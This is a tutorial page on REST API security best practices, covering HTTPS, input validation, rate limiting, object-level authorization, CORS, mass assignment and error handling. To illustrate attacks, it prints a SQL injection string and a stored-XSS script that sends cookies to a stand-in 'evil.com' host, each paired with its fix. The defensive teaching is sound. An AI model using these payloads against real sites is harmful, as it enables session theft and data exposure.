REST API – API Security Best Practices

An API without proper security is like a bank vault with a combination lock on the front but an open window at the back. Attackers don't need to break your strongest protection — they find the weakest one. This page covers the most important security practices every REST API must implement, explained with clear diagrams and practical examples.

Security is not a feature you add at the end. You design it into the API from the start. Each practice here protects against a specific class of attack.

The API Attack Surface — What Attackers Target

  CLIENT ──────────────────────────────────────────── SERVER
                                                        │
  Threat 1: Injection Attacks ──────────────────────────┤
  Threat 2: Broken Authentication ──────────────────────┤
  Threat 3: Excessive Data Exposure ────────────────────┤
  Threat 4: Rate Limit Abuse (DoS) ─────────────────────┤
  Threat 5: Broken Object-Level Auth ───────────────────┤
  Threat 6: Insecure Transport (no HTTPS) ──────────────┤
  Threat 7: Mass Assignment ────────────────────────────┤
  Threat 8: Security Misconfigurations ─────────────────┤

Each of the sections below targets one or more of these threats directly.

Practice 1: Always Use HTTPS

HTTPS encrypts all data moving between the client and the server. Without it, anyone on the same network can read tokens, passwords, and sensitive data in plain text. This is not optional — it is the baseline.

What Happens Without HTTPS

  WITHOUT HTTPS (plain HTTP):

  Client ──── GET /orders ──────────────────────── Server
               Authorization: Bearer abc123

  Network middleman can see:
  ┌─────────────────────────────────────────────────┐
  │ GET /orders                                     │
  │ Host: api.yourstore.com                         │
  │ Authorization: Bearer abc123   ← VISIBLE!       │
  │ Body: { "creditCard": "4111..." } ← VISIBLE!    │
  └─────────────────────────────────────────────────┘

  WITH HTTPS (TLS encrypted):

  Client ──── [ENCRYPTED BLOB] ──────────────────── Server

  Network middleman sees only:
  ┌───────────────────────────────┐
  │ ¶∂ßΩ≈ç√∫˜≤≥÷... (gibberish)   │
  └───────────────────────────────┘

HTTPS Checklist

  • Obtain a valid TLS certificate (free from Let's Encrypt)
  • Redirect all HTTP requests to HTTPS automatically
  • Use TLS 1.2 or TLS 1.3 — disable older versions (SSL, TLS 1.0, TLS 1.1)
  • Set the Strict-Transport-Security (HSTS) header to prevent browsers from ever connecting via HTTP
  Response Header to Add:
  Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Practice 2: Validate and Sanitize Every Input

The rule is simple: never trust input that comes from outside your server. Every piece of data from a client — headers, query parameters, path parameters, request body — could be crafted by an attacker.

SQL Injection — The Classic Attack

  ATTACK SCENARIO:

  Endpoint: GET /users?name=Alice

  Attacker sends:
  GET /users?name=Alice' OR '1'='1

  Vulnerable server builds query:
  SELECT * FROM users WHERE name = 'Alice' OR '1'='1'

  Result: '1'='1' is always TRUE → returns ALL users!
  ┌──────────────────────────────────────────────────┐
  │ All user records including passwords exposed     │
  └──────────────────────────────────────────────────┘

  SECURE VERSION (Parameterized Query):
  query = "SELECT * FROM users WHERE name = ?"
  params = [userInput]

  No matter what the attacker types, it is treated as DATA,
  not as SQL code. The injection attempt fails completely.

Input Validation Rules

  For every input field, validate:

  TYPE:     Is it a string? Number? Email? Date?
  LENGTH:   Is it within acceptable min/max length?
  FORMAT:   Does it match the expected pattern (regex)?
  RANGE:    For numbers — is it within allowed range?
  ALLOWED:  For enums — is it one of the allowed values?

  Example validation for POST /orders:
  {
    "productId": 42,        ← must be positive integer
    "quantity": 3,          ← must be 1–100
    "email": "a@b.com",     ← must match email pattern
    "status": "pending"     ← must be one of: pending, shipped, delivered
  }

  Reject any request that fails these checks with:
  400 Bad Request
  { "error": "quantity must be between 1 and 100" }

Output Sanitization

Validation protects your database. Sanitization protects the clients reading your API response. Remove or escape HTML and script tags before including user-generated content in responses. This prevents stored XSS attacks where an attacker's JavaScript gets executed in another user's browser.

  User submits a product review:
  "Great product! <script>document.location='http://evil.com?c='+document.cookie</script>"

  WRONG: Store and return as-is
  → Every user who reads this review gets their session cookie stolen

  RIGHT: Strip or escape HTML tags on input
  Stored as: "Great product! [script removed]"
  OR escape: "Great product! &lt;script&gt;..."

Practice 3: Implement Rate Limiting

Rate limiting restricts how many requests a client can make in a given time window. Without it, a single attacker can flood your API with millions of requests, crash your server (DoS attack), or brute-force passwords by trying thousands of combinations per second.

Rate Limiting Diagram

  RATE LIMIT: 100 requests per minute per IP

  Minute 1:
  Request 1  ──── ✓ Allowed (count: 1/100)
  Request 2  ──── ✓ Allowed (count: 2/100)
  ...
  Request 100 ─── ✓ Allowed (count: 100/100)
  Request 101 ─── ✗ BLOCKED
                   Response: 429 Too Many Requests
                   Retry-After: 43 (seconds until reset)

  Minute 2:
  Counter resets → Request 1 ✓ Allowed (count: 1/100)

Rate Limit Response Headers

  HTTP/1.1 200 OK
  X-RateLimit-Limit: 100
  X-RateLimit-Remaining: 63
  X-RateLimit-Reset: 1720900060

  HTTP/1.1 429 Too Many Requests
  Retry-After: 43
  X-RateLimit-Limit: 100
  X-RateLimit-Remaining: 0
  { "error": "Rate limit exceeded. Try again in 43 seconds." }

Different Limits for Different Endpoints

  POST /auth/login        →  5 requests/minute    (brute-force protection)
  POST /auth/register     →  3 requests/minute    (prevent spam accounts)
  GET  /products          →  1000 requests/minute (safe read operation)
  POST /orders            →  10 requests/minute   (prevent order flooding)
  GET  /search            →  60 requests/minute   (moderate throttle)

Practice 4: Avoid Excessive Data Exposure

APIs often return more data than the client actually needs. This is one of OWASP's top API security risks. When you expose fields the client never asked for, you increase the chance of accidentally leaking sensitive information.

The Problem

  Client asks: GET /users/123
  Client needs: the user's name and profile picture

  WRONG — Server returns entire database row:
  {
    "id": 123,
    "name": "Alice",
    "profilePic": "alice.jpg",
    "email": "alice@example.com",
    "passwordHash": "$2b$10$...",   ← sensitive!
    "ssn": "123-45-6789",           ← very sensitive!
    "internalScore": 847,           ← internal use only
    "adminNotes": "flagged account" ← should never be public
  }

The Solution — Explicit Response Shaping

  RIGHT — Server returns only what the client needs:
  {
    "id": 123,
    "name": "Alice",
    "profilePic": "alice.jpg"
  }

  How to implement this:
  ┌──────────────────────────────────────────────────────┐
  │ Option 1: Define a serializer / DTO (Data Transfer   │
  │           Object) that whitelists allowed fields     │
  │                                                      │
  │ Option 2: Use a projection in your database query    │
  │           SELECT id, name, profile_pic FROM users    │
  │           (don't SELECT *)                           │
  │                                                      │
  │ Option 3: Use a library like class-transformer       │
  │           with @Expose() decorators                  │
  └──────────────────────────────────────────────────────┘

Practice 5: Implement Object-Level Authorization (BOLA)

Broken Object-Level Authorization (BOLA) is the number one API vulnerability in OWASP's API Security Top 10. It happens when an API lets users access other users' data by simply changing an ID in the URL.

The BOLA Attack

  Alice logs in. Her order ID is 1001.
  She calls: GET /orders/1001  → ✓ her order, fine.

  Alice changes the ID:
  She calls: GET /orders/1002  → Bob's order!

  VULNERABLE server:
  SELECT * FROM orders WHERE id = 1002
  → Returns Bob's order with his address, items, card last 4
  → Alice can enumerate ALL orders just by changing the number

  SECURE server:
  SELECT * FROM orders WHERE id = 1002 AND user_id = [Alice's ID]
  → No rows found → 404 Not Found (or 403 Forbidden)
  → Alice cannot access Bob's order

Fix: Always Scope Queries to the Authenticated User

  WRONG:
  GET /orders/:orderId
  → query: SELECT * FROM orders WHERE id = orderId

  RIGHT:
  GET /orders/:orderId
  → query: SELECT * FROM orders
           WHERE id = orderId
           AND user_id = currentUser.id

  Apply this to EVERY resource: orders, profiles,
  documents, messages, invoices, files.

Practice 6: Use Security Headers

HTTP response headers can instruct browsers how to handle your API responses safely. These headers defend against common web attacks with almost no effort.

  ESSENTIAL SECURITY HEADERS:

  Content-Security-Policy: default-src 'self'
  → Prevents browsers from loading unauthorized scripts/resources
  → Defends against XSS attacks

  X-Content-Type-Options: nosniff
  → Prevents browsers from guessing the file type
  → Stops MIME-type confusion attacks

  X-Frame-Options: DENY
  → Prevents your responses from being embedded in iframes
  → Defends against clickjacking

  Referrer-Policy: no-referrer
  → Stops your API URL from leaking via referrer headers

  Access-Control-Allow-Origin: https://yourapp.com
  → CORS header: only your frontend can call the API
  → Prevents other websites from making requests on user's behalf

Practice 7: Implement CORS Correctly

Cross-Origin Resource Sharing (CORS) controls which websites can make API calls from a browser. A misconfigured CORS policy is a common and dangerous mistake.

CORS Diagram

  CORRECT CORS:
  evil.com tries to call api.yourapp.com
     |
     v
  Browser sends OPTIONS preflight request
     |
     v
  api.yourapp.com responds:
  Access-Control-Allow-Origin: https://yourapp.com
     |
     v
  Browser checks: "Is evil.com in the allowed list?"
  NO → Browser blocks the request. evil.com gets nothing.

  YOUR app at yourapp.com calls api.yourapp.com:
  Browser checks: "Is yourapp.com in the allowed list?"
  YES → Request proceeds normally.

CORS Mistakes

  WRONG — Wildcard origin (allows everyone):
  Access-Control-Allow-Origin: *

  Problem: Any website on the internet can call your API
           from any user's browser using that user's cookies.

  WRONG — Reflecting origin blindly:
  // Server code:
  Access-Control-Allow-Origin: req.headers.origin  ← DANGEROUS

  Problem: Attacker sends Origin: evil.com
           Server reflects back: Access-Control-Allow-Origin: evil.com
           Attacker's site now has full API access.

  RIGHT — Whitelist specific origins:
  const allowed = ["https://yourapp.com", "https://admin.yourapp.com"];
  if (allowed.includes(req.headers.origin)) {
    res.setHeader("Access-Control-Allow-Origin", req.headers.origin);
  }

Practice 8: Protect Against Mass Assignment

Mass assignment happens when an API blindly maps all incoming request fields directly to a database model. An attacker can send extra fields that they should not be able to set — like isAdmin: true or balance: 999999.

Mass Assignment Attack

  Your API: PUT /users/123 (update profile)
  Intended fields: name, bio, profilePic

  Attacker sends:
  {
    "name": "Alice",
    "bio": "Hello",
    "profilePic": "pic.jpg",
    "isAdmin": true,        ← extra field
    "accountBalance": 50000 ← extra field
  }

  VULNERABLE server (ORM auto-maps all fields):
  user.update(requestBody)  → Alice is now an admin with $50,000!

  SECURE server (allowlist approach):
  const allowed = ["name", "bio", "profilePic"];
  const safeData = pick(requestBody, allowed);
  user.update(safeData)  → Only name, bio, profilePic update.
                           isAdmin and balance ignored completely.

Practice 9: Log Security Events (Audit Logging)

You cannot detect attacks you do not log. Security logs are not the same as application logs. Security logs track who did what, when, and whether it succeeded or failed.

What to Log

  LOG THESE EVENTS:

  ✓ Authentication attempts (success and failure)
  ✓ Authorization failures (403 responses)
  ✓ Rate limit hits (429 responses)
  ✓ Input validation failures (400 responses with suspicious input)
  ✓ Admin actions (deletions, role changes, configuration updates)
  ✓ Sensitive data access (who accessed which record, when)
  ✓ Token issuance and revocation

  LOG FORMAT (structured JSON is best):
  {
    "timestamp": "2024-01-15T10:30:00Z",
    "event": "auth.login.failed",
    "ip": "192.168.1.100",
    "userId": null,
    "email": "alice@example.com",
    "reason": "invalid_password",
    "requestId": "req_abc123"
  }

What NOT to Log

  NEVER LOG:
  ✗ Passwords (even hashed)
  ✗ Full credit card numbers (log only last 4 digits)
  ✗ Social Security Numbers or government IDs
  ✗ Full JWT tokens (log only the user ID extracted from them)
  ✗ API keys (log only a masked version: sk_live_****abcd)

Practice 10: Handle Errors Without Leaking Information

Error messages are gold mines for attackers. Detailed error messages tell attackers exactly what went wrong — which table doesn't exist, which field caused the issue, which library version you use.

Error Exposure Diagram

  BAD ERROR RESPONSE (development mode left on in production):
  {
    "error": "SQLException: Table 'users' doesn't exist in database 'prod_db'",
    "stack": "at /app/controllers/user.js:45:12\n
              at mysql2/lib/connection.js:201...",
    "query": "SELECT * FROM users WHERE email = 'x'"
  }

  What the attacker learns:
  → You use MySQL (target MySQL-specific attacks)
  → Your database is named "prod_db"
  → Your code file structure
  → The exact SQL query structure (helps craft injections)

  GOOD ERROR RESPONSE:
  {
    "error": "An internal error occurred.",
    "requestId": "req_abc123"
  }

  What the attacker learns: nothing useful.
  What your team learns: look up req_abc123 in internal logs.

Practice 11: Dependency Security

Your API is only as secure as the libraries it uses. Attackers actively scan for APIs using known vulnerable library versions.

  DEPENDENCY SECURITY CHECKLIST:

  ┌─────────────────────────────────────────────────────┐
  │ 1. Run npm audit / pip check regularly              │
  │    → Finds known vulnerabilities in your packages   │
  │                                                     │
  │ 2. Keep dependencies updated                        │
  │    → Enable Dependabot (GitHub) or Renovate         │
  │    → Review and apply security patches promptly     │
  │                                                     │
  │ 3. Use only maintained packages                     │
  │    → Abandoned packages don't get security patches  │
  │                                                     │
  │ 4. Lock your dependency versions                    │
  │    → Use package-lock.json or yarn.lock             │
  │    → Prevents supply chain attacks                  │
  │                                                     │
  │ 5. Scan Docker images                               │
  │    → Use tools like Trivy or Snyk                   │
  │    → Base images also contain vulnerabilities       │
  └─────────────────────────────────────────────────────┘

API Security Checklist at a Glance

  TRANSPORT
  ✓ HTTPS everywhere, TLS 1.2+
  ✓ HSTS header set
  ✓ Redirect HTTP → HTTPS

  AUTHENTICATION
  ✓ Strong token-based auth (JWT)
  ✓ Short-lived access tokens (≤15 min)
  ✓ Refresh token rotation
  ✓ Tokens stored securely (not localStorage)

  AUTHORIZATION
  ✓ Every endpoint checks permissions
  ✓ Object-level auth (scope queries to user)
  ✓ Mass assignment protection (allowlist fields)

  INPUT / OUTPUT
  ✓ Validate all inputs (type, length, format)
  ✓ Parameterized queries (no string concatenation)
  ✓ Return only needed fields (no full DB rows)
  ✓ Generic error messages in production

  INFRASTRUCTURE
  ✓ Rate limiting per endpoint
  ✓ CORS whitelist
  ✓ Security headers
  ✓ Dependency scanning
  ✓ Security event logging

Key Points

  • HTTPS is the foundation. No security measure matters if traffic travels in plain text.
  • Validate every input on the server — client-side validation is useless as a security control.
  • Rate limiting prevents brute-force attacks and DoS floods — apply stricter limits on auth endpoints.
  • BOLA (Broken Object-Level Authorization) is the most common API vulnerability — always filter database queries by the authenticated user's ID.
  • Never return more data than the client needs. Excessive data exposure is an accidental data breach waiting to happen.
  • Production error messages must be generic. Log details internally but never expose stack traces or DB errors to the client.
  • Mass assignment attacks happen when you trust all request fields blindly — always allowlist the fields you accept.

Leave a Comment